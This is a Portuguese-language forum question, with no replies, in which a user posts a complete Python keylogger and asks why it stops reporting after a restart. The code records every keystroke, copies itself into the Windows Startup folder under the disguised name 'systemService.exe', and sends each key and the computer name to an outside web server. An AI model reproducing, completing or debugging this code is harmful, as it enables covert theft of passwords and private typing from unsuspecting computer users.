Python Keylogger

1

Eu estou tentando fazer um keylogger python que é executado automaticamente na inicialização. Aqui está o código python

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

Este keylogger registra todos os dados ascii para o servidor chamado no código usando php.Ele funciona bem quando eu executei este arquivo pyw, mas quando eu reinicio o pc ele não logar no arquivo no servidor. Eu dobrei para verificar se este programa está presente no diretório de inicialização e está sendo executado em segundo plano após a reinicialização. Mas ainda não registrando dados no arquivo do servidor.

    
por Mayank Pal 17.06.2016 / 08:02

0 respostas